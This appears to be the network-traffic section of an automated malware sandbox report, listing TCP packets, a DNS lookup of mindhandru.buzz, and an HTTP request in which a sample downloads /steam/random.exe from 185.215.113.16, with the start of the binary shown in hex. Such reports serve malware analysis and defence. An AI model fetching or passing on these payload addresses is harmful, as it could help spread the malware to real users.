Dec 26, 2024 12:52:28.335711002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.335822105 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.335870028 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.336354971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.336463928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.336504936 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.337064981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.337232113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.337280989 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.337718964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.337743044 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.337788105 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.338371038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.338495970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.338793039 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.339091063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.339220047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.339265108 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.339740992 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.339790106 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.339860916 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.340382099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.340415001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.340461969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.341038942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.341192007 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.341201067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.341701984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.341825008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.341866016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.342406988 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.342540026 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.342582941 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.343034983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.343142986 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.343151093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.343693972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.343743086 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.343821049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.344414949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.344510078 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.344572067 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.345024109 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.345113993 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.345115900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.345712900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.345758915 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.345814943 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.346347094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.346389055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.346445084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.346991062 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.347043037 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.347095966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.347659111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.347702980 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.347758055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.348337889 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.348426104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.348469973 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.348970890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.349073887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.349124908 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.349662066 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.349704027 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.349780083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.350317001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.350358963 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.350414038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.350919962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.351057053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.351624966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.351670027 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.351675034 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.352227926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.352274895 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.352358103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.352897882 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.352943897 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.352978945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.353524923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.353570938 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.353579998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.353594065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.353641987 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.354523897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.354583979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.354594946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.354629993 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.355475903 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.355535984 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.355546951 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.355590105 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.356461048 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.356542110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.356553078 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.356592894 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.357506037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.357562065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.357573032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.357633114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.357633114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.358542919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.358594894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.358607054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.358658075 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.359500885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.359555006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.359566927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.359613895 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.360477924 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.360491037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.360502958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.360528946 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.361294031 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.361340046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.361351013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.361387014 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.362289906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.362387896 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.362399101 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.362498999 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.363238096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.363286018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.363297939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.363320112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.363352060 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.364182949 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.364227057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.364238024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.364289999 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.365137100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.365186930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.365199089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.365247965 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.366241932 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.366254091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.366266012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.366297960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.367357016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.367376089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.367388964 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.367433071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.368030071 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.368084908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.368094921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.368124962 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.369079113 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.369131088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.369141102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.369172096 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.369201899 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.370070934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.370157003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.370167971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.371212006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.371267080 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.371267080 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.371273041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.371284962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.371362925 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.372188091 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.372283936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.372296095 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.372435093 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.373090029 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.373135090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.373161077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.373174906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.373223066 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.373872995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.374145985 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.374186039 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.374198914 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.374211073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.374254942 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.375016928 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.375027895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.375040054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.375072002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.376218081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376230001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376241922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376266003 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.376277924 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.376821041 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376877069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376888990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.376935005 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.377763987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.377815962 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.377827883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.377865076 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.377876997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.378694057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.378743887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.378756046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.378890038 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.379636049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.379709005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.379720926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.379757881 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.379770041 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.380646944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.380660057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.380675077 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.380707026 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.381540060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.381572008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.381582975 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.381620884 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.381655931 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.382426977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.382488966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.382576942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.382848978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.383419037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.383467913 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.383480072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.383532047 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.383553982 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.384293079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.384345055 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.384355068 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.384401083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.385262966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.385288954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.385299921 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.385333061 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.385355949 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.386157990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.386182070 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.386193037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.387151003 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.387166977 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.387196064 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.387211084 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.387223005 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.388003111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.388051033 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.388061047 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.388072968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.388108969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.388976097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.389019966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.389030933 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:28.389075994 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.497837067 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:28.500000000 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:29.188281059 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:30.206315994 CET	49873	80	192.168.2.6	185.215.113.206
Dec 26, 2024 12:53:05.474159002 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:05.593775988 CET	80	49953	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:05.593878984 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:05.594115019 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:05.713536978 CET	80	49953	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:07.053714037 CET	80	49953	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:07.053850889 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.606736898 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.607115030 CET	49961	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.726612091 CET	80	49953	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:08.726640940 CET	80	49961	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:08.726741076 CET	49953	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.726759911 CET	49961	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.726962090 CET	49961	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:08.846431017 CET	80	49961	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:10.187016964 CET	80	49961	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:10.187120914 CET	49961	80	192.168.2.6	185.215.113.43
Dec 26, 2024 12:53:10.187355042 CET	80	49961	185.215.113.43	192.168.2.6
Dec 26, 2024 12:53:10.187401056 CET	49961	80	192.168.2.6	185.215.113.43

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 26, 2024 12:51:06.370551109 CET	62001	53	192.168.2.6	1.1.1.1
Dec 26, 2024 12:51:06.508414984 CET	53	62001	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 26, 2024 12:51:06.370551109 CET	192.168.2.6	1.1.1.1	0x344f	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 26, 2024 12:51:06.508414984 CET	1.1.1.1	192.168.2.6	0x344f	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false
Dec 26, 2024 12:51:06.508414984 CET	1.1.1.1	192.168.2.6	0x344f	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

185.215.113.16

185.215.113.206

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49842	185.215.113.16	80	3224	C:\Users\user\Desktop\ZBbOXn0a3R.exe

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2024 12:52:08.608006954 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 26, 2024 12:52:10.061065912 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Dec 2024 11:52:09 GMT Content-Type: application/octet-stream Content-Length: 5169664 Last-Modified: Thu, 26 Dec 2024 11:21:33 GMT Connection: keep-alive ETag: "676d3c3d-4ee200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 f0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 4f 00 00 04 00 00 93 28 4f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(N@ O(O@M$a$$ $$@.rsrc$$@.idata $$@hsfspruu $$@ilcadzlgNN@.taggant0N"N@
Dec 26, 2024 12:52:10.061080933 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:10.061094046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:10.061152935 CET	672	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 26, 2024 12:52:10.061165094 CET	1236	IN	Data Raw: 80 c8 f7 1b bc 30 f7 28 d0 a0 63 1c 6c cb 8d 94 2b 4f 80 93 cb bd 3d 40 6b 58 99 1d ba 30 6a 1c 64 2c 95 db bb 58 81 1c bc b0 f7 28 f8 bb 63 1c 41 f0 6d 26 43 65 f4 90 88 c8 51 e6 6b 60 68 2c b9 6f 80 ea d6 25 c0 8e 5a 30 0b d9 d7 60 f7 28 74 a0 Data Ascii: 0(cl+O=@kX0jd,X(cAm&CeQk`h,o%Z0`(tcCVmOOe0<0SnX0>a0P++X>`>l+O0>^((c;}FX@!{0>k+O(nP!x0sBE~10[O<h(n%
